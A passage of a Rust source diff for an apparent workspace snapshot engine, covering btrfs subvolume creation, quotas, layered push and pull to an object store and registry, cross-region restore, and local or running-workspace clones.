std::env::var("WS_REGION").unwrap_or_else(|_| "default".into()), + region_stores: blob::region_stores_from_env(), + squash_mb: std::env::var("WSSNAP_SQUASH_MB").ok().and_then(|v| v.parse().ok()).unwrap_or(256), + chain_max: std::env::var("WSSNAP_CHAIN_MAX").ok().and_then(|v| v.parse().ok()).unwrap_or(50), + } + } + + /// The layer store to read a snapshot's blobs from. `None`, the empty string, or this node's + /// own region is `self.store`; anything else needs credentials the agent's Secret carries. + /// + /// A miss is a PERMANENT failure, never a fallback to `self.store`: the local container simply + /// does not hold those blobs, and reading it anyway is how a cross-region restore sat in + /// `phase: working` forever instead of saying which region it could not reach. + pub fn store_for(&self, region: Option<&str>) -> Result, EngErr> { + match region { + None | Some("") => Ok(self.store.clone()), + Some(r) if r == self.region => Ok(self.store.clone()), + Some(r) => self + .region_stores + .get(r) + .cloned() + .ok_or_else(|| EngErr::other(format!("{REGION_UNREACHABLE}: {r} (no AZURE_REGION_* credentials on this node)"))), + } + } + + /// Bare `{pool}/vol/{id}/live` subvolume creation — shared by `init` (a workspace, which + /// pushes immediately after) and `EnvUp`'s first-ever-mount path (an environment, which + /// doesn't push until `EnvDown`). + pub fn create_subvol(&self, id: &str) -> Result<(), EngErr> { + std::fs::create_dir_all(self.pool.voldir(id)).map_err(EngErr::io)?; + // Reconcile is level-triggered and a restarted controller replays it from scratch, so an + // existing `live` is the expected steady state, not a conflict. Keep-biased: never delete + // and recreate — that would be data loss dressed up as convergence. Same guard `pull_core` + // already applies before its snapshot. + if !self.pool.live(id).exists() { + run(&["btrfs", "subvolume", "create", self.pool.live(id).to_str().unwrap()])?; + } + std::fs::create_dir_all(self.pool.recv()).map_err(EngErr::io)?; + Ok(()) + } + + /// Cap `id`'s live subvolume at `quota_gb` with a btrfs qgroup limit — the only thing that + /// stops one tenant writing the whole pool to ENOSPC and taking every sibling's push down + /// with it. Per SUBVOLUME, so it has to be re-applied whenever `live` is a new subvolume + /// (`replace_live`), not only at create. + /// + /// `Ok(Some(why))` is "the pool cannot enforce this": qgroups are enabled per filesystem + /// (`btrfs quota enable`, see `deploy/k3s/format-pool.sh`) and a pool formatted before that + /// line existed has none. That is not the volume's fault, so it is not an `Err` — the caller + /// surfaces it as a condition and the volume stays usable, unenforced, until an operator + /// enables quotas on the pool. Level-triggered: the next reconcile re-applies. + pub fn set_quota(&self, id: &str, quota_gb: u64) -> Result, EngErr> { + let live = self.pool.live(id); + if !live.exists() { + return Err(EngErr::other(format!("{}: no live subvolume to limit", live.display()))); + } + let limit = if quota_gb == 0 { "none".to_string() } else { format!("{quota_gb}G") }; + Ok(run(&["btrfs", "qgroup", "limit", &limit, live.to_str().unwrap()]).err().map(|e| e.0)) + } + + pub async fn init(&self, ws: &Workspace) -> Result<(), EngErr> { + self.create_subvol(&ws.id)?; + self.push(ws, Some("initial")).await?; + Ok(()) + } + + /// RO snapshot of `id`'s live subvolume, delta-compressed to a LOCAL staging file (never + /// uploaded here — that's the upload phase's job, below), lineage extended with an entry + /// marked `unpushed`. Fast and offline: the only IO is local disk (the btrfs snapshot/send + /// and the zstd compress), no object-store or registry call. Private: the only caller is + /// `push_core`, immediately followed by the upload phase — nothing user-facing can observe + /// this step on its own any more. + async fn commit_core( + &self, + id: &str, + live_state: &serde_json::Value, + message: Option<&str>, + ) -> Result { + let _lock = ws_lock(&self.pool, id).map_err(EngErr::other)?; + let mut lineage = self.pool.lineage(id); + let root = self.pool.snap_root(id); + let parent = lineage.last().map(|e| root.join(e.snap_name())); + let layer_id = uuid()?; + run(&[ + "btrfs", + "subvolume", + "snapshot", + "-r", + self.pool.live(id).to_str().unwrap(), + root.join(&layer_id).to_str().unwrap(), + ])?; + let mut child = match blob::spawn_send(&root.join(&layer_id), parent) { + Ok(c) => c, + Err(e) => { + let _ = run(&["btrfs", "subvolume", "delete", root.join(&layer_id).to_str().unwrap()]); + return Err(EngErr::other(e)); + } + }; + let dest = self.pool.stage_path(&layer_id); + let compressed = blob::compress_to_file(child.stdout.take().unwrap(), &dest); + let st = child.wait_with_output().map_err(EngErr::io)?; + let (raw, clen, sha) = match (compressed, st.status.success()) { + (Ok(v), true) => v, + (res, ok) => { + let _ = std::fs::remove_file(&dest); + // The snapshot was taken before the send and nothing names it yet — no lineage + // entry, no stage file — so left behind it pins extents nobody can find again. The + // janitor's recv sweep is the backstop for a crash here, not the primary. + let _ = run(&["btrfs", "subvolume", "delete", root.join(&layer_id).to_str().unwrap()]); + let mut msg = String::new(); + if !ok { + msg.push_str(&format!("btrfs send: {}", String::from_utf8_lossy(&st.stderr))); + } + if let Err(e) = res { + if !msg.is_empty() { + msg.push_str("; "); + } + msg.push_str(&e); + } + return Err(EngErr::other(msg)); + } + }; + write_stage_meta( + &self.pool, + &layer_id, + &StageMeta { raw, clen, state: live_state.clone(), message: message.map(str::to_string), created_at: chrono::Utc::now() }, + )?; + lineage.push(LineageEntry { kind: LayerKind::Stream, blob: layer_id.clone(), snap: None, sha256: sha, unpushed: true }); + self.pool.set_lineage(id, &lineage).map_err(EngErr::other)?; + Ok(layer_id) + } + + /// Uploads every unpushed lineage entry under `{owner}/{id}` (in lineage order), building + /// one `CommitRecord` per entry — its `lineage` field is the full prefix up to and including + /// itself, matching `registry::CommitRecord`'s "never depends on another record" contract. + /// An entry whose `Pool::stage_path` doesn't exist is registration-only (its bytes are + /// already in the object store from elsewhere — a squash's block layer, or an + /// inherited-clone entry): `push` skips the upload and sidecar write for those, + /// but still POSTs their record and includes them in the ref move. Batches every record + /// into one `POST .../commits` call, then one ref move — not one round trip per entry. + /// Private: `push`/`push_env` call this right after `commit_core` stages a fresh entry; + /// `squash_inner` calls it directly (it stages its own block entry, so a second fresh + /// snapshot on top would be wrong). + async fn upload_core(&self, owner: &str, id: &str) -> Result { + let _lock = ws_lock(&self.pool, id).map_err(EngErr::other)?; + let mut lineage = self.pool.lineage(id); + let unpushed_idx: Vec = lineage.iter().enumerate().filter(|(_, e)| e.unpushed).map(|(i, _)| i).collect(); + if unpushed_idx.is_empty() { + return Err(EngErr::other("nothing staged to push")); + } + let t = Instant::now(); + let mut records = Vec::with_capacity(unpushed_idx.len()); + let mut total_raw = 0u64; + let (mut last_layer, mut last_sha, mut last_clen) = (String::new(), String::new(), 0u64); + + for &i in &unpushed_idx { + let blob_id = lineage[i].blob.clone(); + let meta_bytes = std::fs::read(self.pool.stage_meta_path(&blob_id)).map_err(EngErr::io)?; + let meta: StageMeta = serde_json::from_slice(&meta_bytes).map_err(|e| EngErr::other(e.to_string()))?; + let staged = self.pool.stage_path(&blob_id); + if staged.exists() { + let key = format!("layers/{blob_id}.zst"); + blob::upload_file(self.store.as_ref(), &key, &staged).await.map_err(EngErr::other)?; + let parent_blob = if i > 0 { Some(lineage[i - 1].blob.clone()) } else { None }; + blob::write_sidecar( + self.store.as_ref(), + &blob_id, + &blob::LayerSidecar { + kind: lineage[i].kind, + parent_blob, + snap_uuid: lineage[i].snap.clone(), + sha256: lineage[i].sha256.clone(), + raw: meta.raw, + stored: meta.clen, + created_at: meta.created_at, + }, + ) + .await + .map_err(EngErr::other)?; + } + + let prefix: Vec = lineage[..=i] + .iter() + .map(|e| LineageEntry { unpushed: false, ..e.clone() }) + .collect(); + records.push(CommitRecord { + id: blob_id.clone(), + state: meta.state, + lineage: prefix, + region: std::env::var("WS_REGION").unwrap_or_else(|_| "default".into()), + message: meta.message, + created_at: meta.created_at, + }); + total_raw += meta.raw; + last_layer = blob_id; + last_sha = lineage[i].sha256.clone(); + last_clen = meta.clen; + } + + self.registry.post_commits(owner, id, &records).await.map_err(EngErr::other)?; + self.registry.move_ref(owner, id, MAIN_REF, &last_layer).await.map_err(EngErr::other)?; + // Cleanup only happens once BOTH the records and the ref move are durable — a crash (or + // a failed post_commits/move_ref) before this point must leave every staged blob/meta + // file in place, marks still `unpushed`, so a retried push re-uploads (harmless: same + // blob id, immutable) and re-POSTs (harmless: the registry puts by id) instead of + // failing forever on a missing stage file. + for &i in &unpushed_idx { + let blob_id = &lineage[i].blob; + let _ = std::fs::remove_file(self.pool.stage_path(blob_id)); + let _ = std::fs::remove_file(self.pool.stage_meta_path(blob_id)); + lineage[i].unpushed = false; + } + self.pool.set_lineage(id, &lineage).map_err(EngErr::other)?; + + let since_block = lineage.iter().rev().take_while(|e| e.kind == LayerKind::Stream).count(); + let reason = if total_raw > self.squash_mb << 20 { + Some(format!("delta > {}MB", self.squash_mb)) + } else if since_block > self.chain_max { + Some(format!("chain > {}", self.chain_max)) + } else { + None + }; + + // The latch stops a second squash from spawning while one is still building; the + // squash child removes it when done. + let latch = self.squash_latch(id); + let mut squash_triggered = None; + if let Some(r) = reason { + if latch.exists() && !self.latch_is_stale(id) { + squash_triggered = Some(format!("{r} (already running)")); + } else { + std::fs::write(&latch, b"").map_err(EngErr::io)?; + let exe = std::env::current_exe().map_err(EngErr::io)?; + let mut child = std::process::Command::new(exe) + .args(["squash", id]) + .stdout(Stdio::null()) + .stderr(Stdio::null()) + .spawn() + .map_err(EngErr::io)?; + // The agent is PID 1 in its pod with no init to reap for it: a child nobody + // `wait()`s is a zombie for the life of the process, one per squash. + std::thread::spawn(move || { + let _ = child.wait(); + }); + squash_triggered = Some(r); + } + } + + Ok(PushOut { + layer: last_layer, + sha: last_sha, + raw: total_raw, + compressed: last_clen, + layers: lineage.len(), + squash_triggered, + elapsed: t.elapsed(), + }) + } + + /// The one user-facing mutating verb: snapshot `ws`'s current live subvolume, upload every + /// unpushed layer (this one plus any left over from a prior crashed push), register their + /// `CommitRecord`s, move `ws`'s registry ref — atomically from the caller's point of view. + /// `message` is free-form, carried through to the `CommitRecord`. Auto-squash: the push + /// itself stays fast (bytes are already durable by the time this returns); the block layer + /// is built by a detached `rustic-git-agent squash ` child. + /// ponytail: always takes a fresh snapshot, even when `restore`/`inherit` already staged an + /// unpushed entry and nothing has changed since — a push right after restoring or a + /// cross-pool clone lands one small, harmless extra record on top of the restored one rather + /// than detecting "nothing changed" and skipping. Upgrade path if that bloat ever matters: + /// skip `commit_core` when the tip's `btrfs send -p` delta would be empty AND the lineage + /// already has unpushed content (the narrow case restore/inherit create), not a blanket + /// autocommit-style size floor (that swallowed real small writes before and was removed). + pub async fn push(&self, ws: &Workspace, message: Option<&str>) -> Result { + self.commit_core(&ws.id, &ws.live_state, message).await?; + self.upload_core(&ws.owner, &ws.id).await + } + + /// Env variant of `push`, keyed by the env's own id (its one subvolume covers every mounted + /// volume, so one push captures and lands them all atomically). + pub async fn push_env(&self, owner: &str, id: &str, live_state: &serde_json::Value, message: Option<&str>) -> Result { + self.commit_core(id, live_state, message).await?; + self.upload_core(owner, id).await + } + + /// Materialize `id`'s lineage locally, fetching only what's missing, then point live at + /// the tip. A lineage whose base is a block layer not yet local restores by image mount: + /// decompress straight to a loop-mounted fs, no per-file receive for the bulk. + /// + /// `store` rather than `self.store`: a restore reads the blobs of the region the RECORD names, + /// which is not always this node's. Every other caller passes `self.store`. + async fn pull_core( + &self, + name: &str, + lineage: Vec, + store: &Arc, + ) -> Result { + std::fs::create_dir_all(self.pool.recv()).map_err(EngErr::io)?; + std::fs::create_dir_all(self.pool.voldir(name)).map_err(EngErr::io)?; + + // Block fast path only when the base isn't already materialized on the shared pool. + let mut snap_root = self.pool.recv(); + let mut rest = &lineage[..]; + if let Some(first) = lineage.first() { + if first.kind == LayerKind::Block { + let snap_name = first.snap_name(); + if !self.pool.recv().join(snap_name).exists() { + let wsroot = self.pool.voldir(name); + if !is_mountpoint(&wsroot) { + // Stream download -> decode -> disk; nothing buffers the whole image. + // Bounded twice: the GET, and every chunk of the body. A stalled body is + // exactly as invisible as a stalled request, and this one streams gigabytes. + let key = format!("layers/{}.zst", first.blob); + let mut s = blob::get_stream(store.as_ref(), &key).await.map_err(EngErr::other)?; + std::fs::create_dir_all(self.pool.img_dir()).map_err(EngErr::io)?; + let img = self.pool.img(&first.blob); + let f = std::fs::File::create(&img).map_err(EngErr::io)?; + let mut w = std::io::BufWriter::new(f); + let mut dec: Option> = None; + let mut is_first_chunk = true; + let mut h = ::new(); + while let Some(b) = blob::next_chunk(&key, &mut s).await.map_err(EngErr::other)? { + sha2::Digest::update(&mut h, &b); + let mut d: &[u8] = &b; + if is_first_chunk { + // The mode byte is the stream's first byte, and a chunked + // object-store read can hand back an empty first chunk — indexing + // it panicked the whole restore. + let Some((&mode, rest)) = d.split_first() else { continue }; + is_first_chunk = false; + d = rest; + if mode != b'r' { + dec = Some( + zstd::stream::write::Decoder::new(w).map_err(EngErr::io)?, + ); + w = std::io::BufWriter::new( + std::fs::File::open("/dev/null").map_err(EngErr::io)?, + ); + } + } + if let Some(dd) = dec.as_mut() { + dd.write_all(d).map_err(EngErr::io)?; + } else { + w.write_all(d).map_err(EngErr::io)?; + } + } + if let Some(mut dd) = dec.take() { + dd.flush().map_err(EngErr::io)?; + } else { + w.flush().map_err(EngErr::io)?; + } + if blob::sha_hex(h) != first.sha256 { + let _ = std::fs::remove_file(&img); + return Err(EngErr::other(format!( + "block layer {}: sha mismatch (corrupt image)", + first.blob + ))); + } + run(&["mount", "-o", "loop", img.to_str().unwrap(), wsroot.to_str().unwrap()])?; + } + snap_root = wsroot; + rest = &lineage[1..]; + } + } + } + + let missing: Vec<&LineageEntry> = rest.iter().filter(|e| !snap_root.join(e.snap_name()).exists()).collect(); + let mut jobs = Vec::new(); + for e in &missing { + let store = store.clone(); + let key = format!("layers/{}.zst", e.blob); + jobs.push(tokio::spawn(async move { blob::get_bytes(store.as_ref(), &key).await })); + } + let mut blobs = Vec::new(); + for j in jobs { + blobs.push(j.await.map_err(|e| EngErr::other(e.to_string()))?.map_err(EngErr::other)?); + } + for (e, b) in missing.iter().zip(&blobs) { + let mut h = ::new(); + sha2::Digest::update(&mut h, b); + let got = blob::sha_hex(h); + if got != e.sha256 { + return Err(EngErr::other(format!("layer {}: sha mismatch (corrupt blob)", e.blob))); + } + blob::receive_into(&snap_root, b).map_err(EngErr::other)?; // order matters: receive validates the parent-UUID chain + } + let tip = lineage.last().ok_or_else(|| EngErr::other("empty lineage"))?; + if !self.pool.live(name).exists() { + run(&[ + "btrfs", + "subvolume", + "snapshot", + snap_root.join(tip.snap_name()).to_str().unwrap(), + self.pool.live(name).to_str().unwrap(), + ])?; + } + let fetched = missing.len(); + let layers = lineage.len(); + self.pool.set_lineage(name, &lineage).map_err(EngErr::other)?; + Ok(PullOut { layers, fetched }) + } + + /// Materializes an explicit lineage (bypassing the registry entirely) — the seam `fsck` + /// recovery uses when the registry's own records are what's lost: rebuild a lineage from + /// object-store sidecars alone (`fsck::rebuild`), then restore straight from it. + pub async fn pull_raw(&self, name: &str, lineage: Vec) -> Result { + self.pull_core(name, lineage, &self.store).await + } + + /// Materialize `ws`'s ref lineage locally, fetching only what's missing, then point live + /// at the tip. Fails clean (no history yet) on a workspace that's never been pushed. + pub async fn pull(&self, ws: &Workspace) -> Result { + let history = self.registry.get_history(&ws.owner, &ws.id).await.map_err(EngErr::other)?; + let tip = history.first().ok_or_else(|| EngErr::other("workspace has no history; push first"))?; + self.pull_core(&ws.id, tip.lineage.clone(), &self.store).await + } + + /// Env variant of `pull`: history keyed by `(owner, id)`, same "first = tip" convention. + pub async fn pull_env(&self, owner: &str, id: &str) -> Result { + let history = self.registry.get_history(owner, id).await.map_err(EngErr::other)?; + let tip = history.first().ok_or_else(|| EngErr::other("environment has no history; push first"))?; + self.pull_core(id, tip.lineage.clone(), &self.store).await + } + + /// Reads `src_owner/src_id`'s current history from the registry and stages its tip lineage + /// as `unpushed` under `dst_id` — the blobs already live in the object store (no upload + /// needed), but `dst_id` has no `CommitRecord`s of its own until its next `push` writes + /// them under `(dst_owner, dst_id)` and moves that volume's own ref. Per-entry `state`/ + /// `message`/`created_at` are recovered from the matching `CommitRecord` in `history` (an + /// entry's own commit, keyed by blob id == commit id), falling back to the tip's own values + /// for anything `history` doesn't explain (e.g. a block layer squashed after this history + /// was fetched elsewhere — defensive, not expected on a linear push history). + async fn inherit(&self, src_owner: &str, src_id: &str, dst_id: &str) -> Result, EngErr> { + let history = self.registry.get_history(src_owner, src_id).await.map_err(EngErr::other)?; + let tip = history.first().ok_or_else(|| EngErr::other("clone source has no snapshots; push first"))?.clone(); + let by_id: HashMap<&str, &CommitRecord> = history.iter().map(|r| (r.id.as_str(), r)).collect(); + + let mut lineage = tip.lineage.clone(); + for e in lineage.iter_mut() { + e.unpushed = true; + } + self.pool.set_lineage(dst_id, &lineage).map_err(EngErr::other)?; + for e in &lineage { + let (state, message, created_at) = match by_id.get(e.blob.as_str()) { + Some(r) => (r.state.clone(), r.message.clone(), r.created_at), + None => (tip.state.clone(), None, tip.created_at), + }; + write_stage_meta(&self.pool, &e.blob, &StageMeta { raw: 0, clen: 0, state, message, created_at })?; + } + Ok(lineage) + } + + /// Create `dst` from an EXACT commit id (not necessarily `src_owner/src_id`'s current tip) + /// — backs `POST /v1/workspaces/restore`. Same staging-under-`dst` shape as + /// `inherit`, just keyed to one named record out of the full history instead of `[0]`. + pub async fn restore( + &self, + src_owner: &str, + src_id: &str, + commit_id: &str, + dst_id: &str, + region: Option<&str>, + ) -> Result<(), EngErr> { + // Resolved BEFORE the history read: a region with no credentials fails the same way + // whether or not the registry happens to be reachable, and the message says which. + let store = self.store_for(region)?; + let history = self.registry.get_history(src_owner, src_id).await.map_err(EngErr::other)?; + let record = history + .iter() + .find(|r| r.id == commit_id) + .ok_or_else(|| EngErr::other(NO_SUCH_RECORD))? + .clone(); + let by_id: HashMap<&str, &CommitRecord> = history.iter().map(|r| (r.id.as_str(), r)).collect(); + let mut lineage = record.lineage.clone(); + for e in lineage.iter_mut() { + e.unpushed = true; + } + self.pool.set_lineage(dst_id, &lineage).map_err(EngErr::other)?; + for e in &lineage { + let (state, message, created_at) = match by_id.get(e.blob.as_str()) { + Some(r) => (r.state.clone(), r.message.clone(), r.created_at), + None => (record.state.clone(), None, record.created_at), + }; + write_stage_meta(&self.pool, &e.blob, &StageMeta { raw: 0, clen: 0, state, message, created_at })?; + } + self.pull_core(dst_id, lineage, &store).await?; + Ok(()) + } + + /// Remove a volume id's local materialization entirely — subvolume, directory, lineage file. + /// + /// Exists for ONE caller: the staging id an in-place restore materializes into. `pull_core` + /// skips its final snapshot step when `live` already exists (a replayed reconcile must + /// converge, not fail), which is right for a real volume and catastrophic for a deterministic + /// staging id — a restore that failed after materializing leaves those bytes behind, and the + /// NEXT restore of a DIFFERENT snapshot would swap the stale ones in and label them as the new + /// one. Staging is therefore always torn down before it is built. + pub fn discard_staging(&self, id: &str) -> Result<(), EngErr> { + if self.pool.live(id).exists() { + run(&["btrfs", "subvolume", "delete", self.pool.live(id).to_str().unwrap()])?; + } + let _ = std::fs::remove_dir_all(self.pool.voldir(id)); + let _ = std::fs::remove_file(self.pool.root.join("vol").join(format!("{id}.lineage"))); + Ok(()) + } + + /// Point `id`'s `live` at `from_id`'s, keeping the old bytes as a local RO snapshot. + /// + /// The swap half of an IN-PLACE restore: `restore` materializes the snapshot under a throwaway + /// staging id first, so everything that can fail (registry read, blob fetch, receive) has + /// already failed with `live` untouched by the time this runs. What is left here is two btrfs + /// operations and a file rename. + /// + /// The safety snapshot is not a nicety: a restore is the one verb that deliberately destroys + /// current state, and `{pool}/vol/{id}/before-restore-{uuid}` is what makes that reversible — + /// `btrfs subvolume delete live && btrfs subvolume snapshot before-restore-X live` puts it + /// back, by hand, off the same disk. ponytail: nothing prunes those snapshots and no verb + /// rolls one back; a retention sweep and an "undo restore" button are the upgrade. + pub fn replace_live(&self, id: &str, from_id: &str) -> Result<(), EngErr> { + let (live, src) = (self.pool.live(id), self.pool.live(from_id)); + if !src.exists() { + return Err(EngErr::other(format!("restore staging {from_id} was never materialized"))); + } + let _lock = ws_lock(&self.pool, id).map_err(EngErr::other)?; + if live.exists() { + let safety = self.pool.voldir(id).join(format!("before-restore-{}", uuid()?)); + run(&["btrfs", "subvolume", "snapshot", "-r", live.to_str().unwrap(), safety.to_str().unwrap()])?; + run(&["btrfs", "subvolume", "delete", live.to_str().unwrap()])?; + } + run(&["btrfs", "subvolume", "snapshot", src.to_str().unwrap(), live.to_str().unwrap()])?; + // The restored lineage becomes this volume's own, or its next push would delta against a + // history the disk no longer holds. + self.pool.set_lineage(id, &self.pool.lineage(from_id)).map_err(EngErr::other)?; + run(&["btrfs", "subvolume", "delete", src.to_str().unwrap()])?; + let _ = std::fs::remove_dir_all(self.pool.voldir(from_id)); + let _ = std::fs::remove_file(self.pool.root.join("vol").join(format!("{from_id}.lineage"))); + Ok(()) + } + + /// Local tip snapshot path for `id`, if `id` is fully materialized on THIS pool (voldir, + /// lineage file, and the tip's actual snapshot directory all present) — the check `clone_local` + /// uses to decide whether it can skip the registry entirely. A workspace that's only ever + /// been committed, never pushed, still passes this: pushing is not a precondition for a + /// same-pool clone, only for a cross-pool one. + /// `None` lineage (never pushed even once — reachable if `WsCreate`'s push never landed, or + /// in a test that seeds a live subvolume directly) still clones locally, straight off the + /// live subvolume itself: there is no RO snapshot to point at, so `clone_local_snapshot` + /// takes one of its own. + fn local_tip(&self, id: &str) -> Option { + if !self.pool.voldir(id).exists() { + return None; + } + let lineage = self.pool.lineage(id); + match lineage.last() { + Some(tip) => { + let p = self.pool.snap_root(id).join(tip.snap_name()); + p.exists().then_some(p) + } + None => self.pool.live(id).exists().then(|| self.pool.live(id)), + } + } + + /// LOCAL-FIRST clone: `src` is materialized on this pool, so `dst` is built without a single + /// registry call. The lineage file is copied to `dst` VERBATIM — `|u` unpushed marks + /// included — so `dst` inherits exactly what `src` has, pushed and unpushed alike. Staged + /// layer/meta files for any inherited unpushed entry are NOT copied: `Pool::stage_dir` is + /// pool-global, keyed by blob id (`Pool::stage_path`), so `src` and `dst` already share the + /// same files on disk — `dst`'s eventual `push` reads them straight off `src`'s staging. + /// Two things guard that sharing: `spawn_janitor`'s stage sweep (`bins/agent/src/lib.rs`) + /// unions unpushed blobs across every volume's lineage before deleting anything, so it + /// already covers `dst` the instant this sets its lineage file; and `cleanup_local`'s + /// `WsDelete` stage-file removal skips any blob still referenced by another volume's + /// unpushed lineage, so deleting `src` after this clone can't strip a file `dst` still needs. + /// Finally, a plain (RW) btrfs snapshot of `src`'s tip becomes `dst`'s live subvolume — + /// same mechanics as `pull_core`'s tip restore, just sourced locally instead of from `recv/`. + fn clone_local_snapshot(&self, src_id: &str, dst_id: &str) -> Result<(), EngErr> { + let _lock = ws_lock(&self.pool, src_id).map_err(EngErr::other)?; + let lineage = self.pool.lineage(src_id); + // Never pushed (no lineage at all): snapshot the live subvolume directly rather than a + // RO tip that doesn't exist yet — `dst` starts equally lineage-less. + let tip_snap = match lineage.last() { + Some(tip) => self.pool.snap_root(src_id).join(tip.snap_name()), + None => self.pool.live(src_id), + }; + drop(_lock); + + self.pool.set_lineage(dst_id, &lineage).map_err(EngErr::other)?; + std::fs::create_dir_all(self.pool.voldir(dst_id)).map_err(EngErr::io)?; + std::fs::create_dir_all(self.pool.recv()).map_err(EngErr::io)?; + // A replayed reconcile must converge, not fail: `dst` already existing means a previous + // attempt got this far. Keep it — see `create_subvol`. + if !self.pool.live(dst_id).exists() { + run(&[ + "btrfs", + "subvolume", + "snapshot", + tip_snap.to_str().unwrap(), + self.pool.live(dst_id).to_str().unwrap(), + ])?; + } + Ok(()) + } + + /// Clone `src` into `dst` (already created in `MetaStore`) for a stopped/never-pushed source + /// — the agent picks this arm of `WsClone` when `src`'s container isn't running. + /// LOCAL-FIRST: when `src` lives on this pool, `clone_local_snapshot` builds `dst` straight + /// from local state — pushing is never a precondition when the source is on the same pool. + /// Only when `src` isn't local here does this fall back to the registry-history path + /// (`inherit` + `pull_core`), where `dst` still carries no registry history of its own until + /// its next push, and "clone source has no snapshots; push first" is now reachable only + /// cross-pool, where it's actually true. + pub async fn clone_local(&self, src: &Workspace, dst: &Workspace) -> Result<(), EngErr> { + self.clone_local_ids(&src.owner, &src.id, &dst.id).await + } + + /// Id-only twin of `clone_local` — everything the local-first path needs (`local_tip`, + /// `clone_local_snapshot`, `inherit`'s registry fallback) only ever reads an id/owner, never + /// anything else off a `Workspace`/`Environment` doc, so this is what `clone_local` calls and + /// what an environment clone (a different doc type, same volume-id shape to the engine) calls + /// directly. + pub async fn clone_local_ids(&self, src_owner: &str, src_id: &str, dst_id: &str) -> Result<(), EngErr> { + if self.local_tip(src_id).is_some() { + return self.clone_local_snapshot(src_id, dst_id); + } + let lineage = self.inherit(src_owner, src_id, dst_id).await?; + self.pull_core(dst_id, lineage, &self.store).await?; + Ok(()) + } + + /// Clone a RUNNING workspace, minimizing source downtime. Routes on whether `src`'s live + /// subvolume is materialized on THIS pool — the same locality signal `local_tip`/ + /// `clone_local` use — not on the registry: a running container only ever runs against a + /// LOCAL subvolume, so this is the common (in practice, the only reachable-today) case. + /// `clone_running_registry` is kept for a genuine cross-node running clone, a shape the + /// owner-binding scheduler doesn't produce yet but the engine shouldn't assume never will. + pub async fn clone_running( + &self, + src: &Workspace, + dst: &Workspace, + stop: &dyn Fn() -> Result<(), EngErr>, + start: &dyn Fn() -> Result<(), EngErr>, + ) -> Result { + if self.pool.voldir(&src.id).exists() { + self.clone_running_local(&src.id, &dst.id, stop, start).await + } else { + self.clone_running_registry(src, dst, stop, start).await + } + } + + /// Local-first running clone: `src` lives on this pool, so this never touches the registry + /// and never requires `src` to have pushed (or even snapshotted) at all — a never-pushed + /// running workspace used to fail here with "clone source has no snapshots; push first" + /// because the registry-prefetch path below was the only one `clone_running` had. Stop, + /// flush, plain (RW) btrfs-snapshot `src`'s LIVE subvolume straight into `dst`'s live — + /// same "snapshot the live subvolume, not an RO tip" trick `clone_local_snapshot` uses for a + /// never-pushed STOPPED source, just done live instead of on an already-quiesced volume — + /// then copy `src`'s lineage file to `dst` VERBATIM (marks included, possibly empty: `dst` + /// simply starts with no history until its own first push, same as any local-first clone). + /// Id-only (like `clone_local_ids`): a running container's `stop`/`start` hooks are already + /// exact-name shell-outs the caller builds, so nothing here needs a typed doc either — an + /// environment clone calls this directly with its own (compose-project) hooks. + pub async fn clone_running_local( + &self, + src_id: &str, + dst_id: &str, + stop: &dyn Fn() -> Result<(), EngErr>, + start: &dyn Fn() -> Result<(), EngErr>, + ) -> Result { + let t0 = Instant::now(); + stop()?; + let synced = run(&["sync", "-f", self.pool.live(src_id).to_str().unwrap()]); + let snapshotted = (|| -> Result<(), EngErr> { + synced?; + let _lock = ws_lock(&self.pool, src_id).map_err(EngErr::other)?; + std::fs::create_dir_all(self.pool.voldir(dst_id)).map_err(EngErr::io)?; + // Idempotent replay, as in `create_subvol`: the source is stopped for this window, so + // a `dst` left by a previous attempt holds the same bytes this one would take. + if !self.pool.live(dst_id).exists() { + run(&[ + "btrfs", + "subvolume", + "snapshot", + self.pool.live(src_id).to_str().unwrap(), + self.pool.live(dst_id).to_str().unwrap(), + ])?; + } + self.pool.set_lineage(dst_id, &self.pool.lineage(src_id)).map_err(EngErr::other)?; + Ok(()) + })(); + // `start` must run even if the snapshot failed, so the source is never left stopped — + // same contract the registry path below has. + let started = start(); + if let Err(e) = snapshotted { + return Err(match started { + Ok(()) => e, + Err(se) => EngErr::other(format!("{e}; additionally start failed: {se}")), + }); + } + started?; + let locked = t0.elapsed(); + Ok(CloneOut { prefetched: Duration::ZERO, locked, total: t0.elapsed() }) + } + + /// Cross-node running clone: `src` is NOT materialized on this pool, so the only way to copy + /// it is through the registry — requires `src` to have pushed at least once (`inherit`'s own + /// "clone source has no snapshots; push first"), unlike the local path above. + /// + /// Phase 1 (source untouched): prefetch — pull everything up to the source's last pushed + /// snapshot, so the bulk transfer happens while the source keeps running. Phase 2 (container + /// lock): `stop`, sync, push the final delta (small by construction — the prefetch absorbed + /// the rest), then `start` as soon as that delta is durable. Phase 3: re-stage the clone from + /// the now-current source history and fetch just that last delta. + async fn clone_running_registry( + &self, + src: &Workspace, + dst: &Workspace, + stop: &dyn Fn() -> Result<(), EngErr>, + start: &dyn Fn() -> Result<(), EngErr>, + ) -> Result { + let t0 = Instant::now(); + + // Phase 1: warm this pool up to the last pushed commit; source keeps running. + let lineage1 = self.inherit(&src.owner, &src.id, &dst.id).await?; + self.pull_core(&dst.id, lineage1, &self.store).await?; + let prefetched = t0.elapsed(); + + // Phase 2: the locked window — only the final delta happens inside it. `start` must + // run even if the push fails, so the source is never left stopped; on that path the + // error still propagates (with start's error appended if it also failed). + let t1 = Instant::now(); + stop()?; + let synced = run(&["sync", "-f", self.pool.live(&src.id).to_str().unwrap()]); + let pushed = match synced { + Ok(()) => self.push(src, None).await.map(|_| ()), + Err(e) => Err(e), + }; + let started = start(); + if let Err(e) = pushed { + return Err(match started { + Ok(()) => e, + Err(se) => EngErr::other(format!("{e}; additionally start failed: {se}")), + }); + } + started?; + let locked = t1.elapsed(); + + // Phase 3: re-stage the clone from the source's now-current history and apply the one + // missing delta. + let lineage3 = self.inherit(&src.owner, &src.id, &dst.id).await?; + if self.pool.live(&dst.id).exists() { + run(&["btrfs", "subvolume", "delete", self.pool.live(&dst.id).to_str().unwrap()])?; + } + self.pull_core(&dst.id, lineage3, &self.store).await?; + + Ok(CloneOut { prefetched, locked, total: t0.elapsed() }) + } + + /// Convert the local tip into a block layer: a mountable btrfs image holding the tip + /// snapshot, populated by a LOCAL send/receive (the per-file cost paid here, once, in the + /// background, never again on restore). The new lineage is that single block entry plus + /// any streams grafted on after a racing commit landed while the image was building. The + /// block blob is uploaded directly here (not staged — squash already streams straight to + /// the object store, same as before the commit/push split), so `push`'s "no staged file ⇒ + /// registration-only" path picks it up without a redundant upload. Called by the detached + /// `rustic-git-agent squash ` child spawned from `push`. + /// `{pool}/vol/{id}.squashing` — set before spawning the 